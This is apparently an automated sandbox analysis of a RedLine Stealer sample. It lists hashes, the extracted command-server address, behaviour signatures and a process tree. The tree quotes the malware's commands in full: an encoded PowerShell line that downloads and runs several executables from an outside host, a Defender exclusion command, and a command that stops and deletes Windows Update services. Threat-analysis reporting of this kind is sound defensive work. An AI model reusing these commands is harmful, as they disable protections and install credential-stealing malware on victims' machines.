redline | a5d8eac92699a2e8870775b0eb150bb3fdedf4e86f6b0a26a122ad5f7e9fd3c2

Analysis

max time kernel
42s
max time network
97s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
03/01/2023, 01:16

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General

Target

b3e4aa7167322e62d0ab56f0ba11c3adfef87eb1.exe
Size

119KB
MD5

d9a2313ebd1f9d41687e127028bc230e
SHA1

b3e4aa7167322e62d0ab56f0ba11c3adfef87eb1
SHA256

a5d8eac92699a2e8870775b0eb150bb3fdedf4e86f6b0a26a122ad5f7e9fd3c2
SHA512

4ee00a77199e82d63967f9731a5dd101f2dcec52584337dff306c2d5b71dfa4d83ac473617da0b022d301f8878b5cd835b18a35603fbe9dd7682064dc30264be
SSDEEP

3072:EcJw0ADKnZ1bEGSzLu1XlEWb3MeUn3PAngc13Aa99sXcc:/W3IZ1bgQlExeUcN99sXcc

Score

10^/10

redline 1 evasion infostealer spyware

Malware Config

Extracted

Family

redline

Botnet

107.182.129.73:21733

Attributes

auth_value
3a5bb0917495b4312d052a0b8977d2bb

Signatures

Modifies security service 2 TTPs 5 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 1 IoCs

resource	yara_rule
behavioral2/memory/3544-176-0x0000000000400000-0x0000000000420000-memory.dmp	family_redline

Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs

description	pid	Process	procid_target
PID 384 created 3080	384	SmartDefRun.exe	19
PID 384 created 3080	384	SmartDefRun.exe	19
PID 384 created 3080	384	SmartDefRun.exe	19
PID 384 created 3080	384	SmartDefRun.exe	19
PID 1192 created 596	1192	powershell.EXE	6

Blocklisted process makes network request 1 IoCs

flow	pid	Process
8	4840	powershell.exe

Downloads MZ/PE file

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\drivers\etc\hosts	SmartDefRun.exe

Executes dropped EXE 4 IoCs

pid	Process
2016	C4Loader.exe
4692	new2.exe
1100	SysApp.exe
384	SmartDefRun.exe

Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489
Uses the VBS compiler for execution 1 TTPs

Scripting
T1064
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 3576 set thread context of 4032	3576	b3e4aa7167322e62d0ab56f0ba11c3adfef87eb1.exe	84
PID 4692 set thread context of 3544	4692	new2.exe	100
PID 384 set thread context of 3844	384	SmartDefRun.exe	123
PID 1192 set thread context of 1944	1192	powershell.EXE	128

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File created	C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe	SmartDefRun.exe

Launches sc.exe 5 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1676	sc.exe
4280	sc.exe
3204	sc.exe
544	sc.exe
4984	sc.exe

Program crash 4 IoCs

pid	pid_target	Process	procid_target
3844	3576	WerFault.exe	81
3532	3576	WerFault.exe	81
5048	3576	WerFault.exe	81
4748	4692	WerFault.exe	95

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE

Suspicious behavior: EnumeratesProcesses 32 IoCs

pid	Process
4840	powershell.exe
4840	powershell.exe
1100	SysApp.exe
1100	SysApp.exe
1100	SysApp.exe
1100	SysApp.exe
1100	SysApp.exe
1100	SysApp.exe
1100	SysApp.exe
1100	SysApp.exe
1100	SysApp.exe
1100	SysApp.exe
384	SmartDefRun.exe
384	SmartDefRun.exe
1732	powershell.exe
1732	powershell.exe
384	SmartDefRun.exe
384	SmartDefRun.exe
384	SmartDefRun.exe
384	SmartDefRun.exe
4972	powershell.exe
4972	powershell.exe
384	SmartDefRun.exe
384	SmartDefRun.exe
1192	powershell.EXE
1948	powershell.EXE
1192	powershell.EXE
1948	powershell.EXE
3544	vbc.exe
1192	powershell.EXE
1944	dllhost.exe
1944	dllhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4840	powershell.exe
Token: SeDebugPrivilege	1732	powershell.exe
Token: SeDebugPrivilege	4972	powershell.exe
Token: SeIncreaseQuotaPrivilege	4972	powershell.exe
Token: SeSecurityPrivilege	4972	powershell.exe
Token: SeTakeOwnershipPrivilege	4972	powershell.exe
Token: SeLoadDriverPrivilege	4972	powershell.exe
Token: SeSystemProfilePrivilege	4972	powershell.exe
Token: SeSystemtimePrivilege	4972	powershell.exe
Token: SeProfSingleProcessPrivilege	4972	powershell.exe
Token: SeIncBasePriorityPrivilege	4972	powershell.exe
Token: SeCreatePagefilePrivilege	4972	powershell.exe
Token: SeBackupPrivilege	4972	powershell.exe
Token: SeRestorePrivilege	4972	powershell.exe
Token: SeShutdownPrivilege	4972	powershell.exe
Token: SeDebugPrivilege	4972	powershell.exe
Token: SeSystemEnvironmentPrivilege	4972	powershell.exe
Token: SeRemoteShutdownPrivilege	4972	powershell.exe
Token: SeUndockPrivilege	4972	powershell.exe
Token: SeManageVolumePrivilege	4972	powershell.exe
Token: 33	4972	powershell.exe
Token: 34	4972	powershell.exe
Token: 35	4972	powershell.exe
Token: 36	4972	powershell.exe
Token: SeIncreaseQuotaPrivilege	4972	powershell.exe
Token: SeSecurityPrivilege	4972	powershell.exe
Token: SeTakeOwnershipPrivilege	4972	powershell.exe
Token: SeLoadDriverPrivilege	4972	powershell.exe
Token: SeSystemProfilePrivilege	4972	powershell.exe
Token: SeSystemtimePrivilege	4972	powershell.exe
Token: SeProfSingleProcessPrivilege	4972	powershell.exe
Token: SeIncBasePriorityPrivilege	4972	powershell.exe
Token: SeCreatePagefilePrivilege	4972	powershell.exe
Token: SeBackupPrivilege	4972	powershell.exe
Token: SeRestorePrivilege	4972	powershell.exe
Token: SeShutdownPrivilege	4972	powershell.exe
Token: SeDebugPrivilege	4972	powershell.exe
Token: SeSystemEnvironmentPrivilege	4972	powershell.exe
Token: SeRemoteShutdownPrivilege	4972	powershell.exe
Token: SeUndockPrivilege	4972	powershell.exe
Token: SeManageVolumePrivilege	4972	powershell.exe
Token: 33	4972	powershell.exe
Token: 34	4972	powershell.exe
Token: 35	4972	powershell.exe
Token: 36	4972	powershell.exe
Token: SeIncreaseQuotaPrivilege	4972	powershell.exe
Token: SeSecurityPrivilege	4972	powershell.exe
Token: SeTakeOwnershipPrivilege	4972	powershell.exe
Token: SeLoadDriverPrivilege	4972	powershell.exe
Token: SeSystemProfilePrivilege	4972	powershell.exe
Token: SeSystemtimePrivilege	4972	powershell.exe
Token: SeProfSingleProcessPrivilege	4972	powershell.exe
Token: SeIncBasePriorityPrivilege	4972	powershell.exe
Token: SeCreatePagefilePrivilege	4972	powershell.exe
Token: SeBackupPrivilege	4972	powershell.exe
Token: SeRestorePrivilege	4972	powershell.exe
Token: SeShutdownPrivilege	4972	powershell.exe
Token: SeDebugPrivilege	4972	powershell.exe
Token: SeSystemEnvironmentPrivilege	4972	powershell.exe
Token: SeRemoteShutdownPrivilege	4972	powershell.exe
Token: SeUndockPrivilege	4972	powershell.exe
Token: SeManageVolumePrivilege	4972	powershell.exe
Token: 33	4972	powershell.exe
Token: 34	4972	powershell.exe

Suspicious use of WriteProcessMemory 54 IoCs

description	pid	Process	procid_target
PID 3576 wrote to memory of 4032	3576	b3e4aa7167322e62d0ab56f0ba11c3adfef87eb1.exe	84
PID 3576 wrote to memory of 4032	3576	b3e4aa7167322e62d0ab56f0ba11c3adfef87eb1.exe	84
PID 3576 wrote to memory of 4032	3576	b3e4aa7167322e62d0ab56f0ba11c3adfef87eb1.exe	84
PID 3576 wrote to memory of 4032	3576	b3e4aa7167322e62d0ab56f0ba11c3adfef87eb1.exe	84
PID 3576 wrote to memory of 4032	3576	b3e4aa7167322e62d0ab56f0ba11c3adfef87eb1.exe	84
PID 4032 wrote to memory of 4840	4032	vbc.exe	88
PID 4032 wrote to memory of 4840	4032	vbc.exe	88
PID 4032 wrote to memory of 4840	4032	vbc.exe	88
PID 4840 wrote to memory of 2016	4840	powershell.exe	94
PID 4840 wrote to memory of 2016	4840	powershell.exe	94
PID 4840 wrote to memory of 2016	4840	powershell.exe	94
PID 4840 wrote to memory of 4692	4840	powershell.exe	95
PID 4840 wrote to memory of 4692	4840	powershell.exe	95
PID 4840 wrote to memory of 4692	4840	powershell.exe	95
PID 4840 wrote to memory of 1100	4840	powershell.exe	96
PID 4840 wrote to memory of 1100	4840	powershell.exe	96
PID 4840 wrote to memory of 1100	4840	powershell.exe	96
PID 4840 wrote to memory of 384	4840	powershell.exe	97
PID 4840 wrote to memory of 384	4840	powershell.exe	97
PID 4692 wrote to memory of 3544	4692	new2.exe	100
PID 4692 wrote to memory of 3544	4692	new2.exe	100
PID 4692 wrote to memory of 3544	4692	new2.exe	100
PID 4692 wrote to memory of 3544	4692	new2.exe	100
PID 4692 wrote to memory of 3544	4692	new2.exe	100
PID 1872 wrote to memory of 3204	1872	cmd.exe	113
PID 1872 wrote to memory of 3204	1872	cmd.exe	113
PID 1872 wrote to memory of 544	1872	cmd.exe	114
PID 1872 wrote to memory of 544	1872	cmd.exe	114
PID 1872 wrote to memory of 4984	1872	cmd.exe	115
PID 1872 wrote to memory of 4984	1872	cmd.exe	115
PID 1872 wrote to memory of 1676	1872	cmd.exe	116
PID 1872 wrote to memory of 1676	1872	cmd.exe	116
PID 1872 wrote to memory of 4280	1872	cmd.exe	117
PID 1872 wrote to memory of 4280	1872	cmd.exe	117
PID 1872 wrote to memory of 648	1872	cmd.exe	118
PID 1872 wrote to memory of 648	1872	cmd.exe	118
PID 1872 wrote to memory of 1660	1872	cmd.exe	119
PID 1872 wrote to memory of 1660	1872	cmd.exe	119
PID 1872 wrote to memory of 1928	1872	cmd.exe	120
PID 1872 wrote to memory of 1928	1872	cmd.exe	120
PID 1872 wrote to memory of 4308	1872	cmd.exe	121
PID 1872 wrote to memory of 4308	1872	cmd.exe	121
PID 1872 wrote to memory of 4032	1872	cmd.exe	122
PID 1872 wrote to memory of 4032	1872	cmd.exe	122
PID 384 wrote to memory of 3844	384	SmartDefRun.exe	123
PID 1192 wrote to memory of 1944	1192	powershell.EXE	128
PID 1192 wrote to memory of 1944	1192	powershell.EXE	128
PID 1192 wrote to memory of 1944	1192	powershell.EXE	128
PID 1192 wrote to memory of 1944	1192	powershell.EXE	128
PID 1192 wrote to memory of 1944	1192	powershell.EXE	128
PID 1192 wrote to memory of 1944	1192	powershell.EXE	128
PID 1192 wrote to memory of 1944	1192	powershell.EXE	128
PID 1192 wrote to memory of 1944	1192	powershell.EXE	128
PID 1192 wrote to memory of 1944	1192	powershell.EXE	128

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:596
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{79bf586a-4cf1-4f88-b468-ee4a2425786f}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1944

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3080
- C:\Users\Admin\AppData\Local\Temp\b3e4aa7167322e62d0ab56f0ba11c3adfef87eb1.exe
  "C:\Users\Admin\AppData\Local\Temp\b3e4aa7167322e62d0ab56f0ba11c3adfef87eb1.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:3576
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4032
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdABhACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYwBqAHIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBjAHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgB4AHoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcALAAgADwAIwBhAGEAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGMAZAB6ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGwAcwBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQApADwAIwB3AGQAcwAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGoAYgBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQB6AGEAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAYwBlAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBtAGIAegAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBqAHcAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGYAcQB0ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAYgBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAHUAYQB3ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcALAAgADwAIwBoAGkAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHQAcAB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAcgBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQApADwAIwBqAGwAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBkAGMAcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZAB3AHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApADwAIwBoAHgAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBwAGcAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbQBkAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQA8ACMAdgBoAGUAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBxAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGoAbABkACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApADwAIwB5AGkAbQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBjAGEAZQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcABrAGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBtAGEAcgB0AEQAZQBmAFIAdQBuAC4AZQB4AGUAJwApADwAIwBoAGYAZAAjAD4A"
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4840
    - - C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
        
        "C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"
        5⤵
        Executes dropped EXE
        
        PID:2016
    - - C:\Users\Admin\AppData\Local\Temp\new2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\new2.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of WriteProcessMemory
        
        PID:4692
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
        6⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:3544
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4692 -s 492
        6⤵
        Program crash
        
        PID:4748
    - - C:\Users\Admin\AppData\Local\Temp\SysApp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\SysApp.exe"
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:1100
    - - C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
        
        "C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"
        5⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Drops file in Drivers directory
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Drops file in Program Files directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:384
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3576 -s 256
    3⤵
    - Program crash
    PID:3844
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3576 -s 280
    3⤵
    - Program crash
    PID:3532
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3576 -s 204
    3⤵
    - Program crash
    PID:5048
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1732
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1872
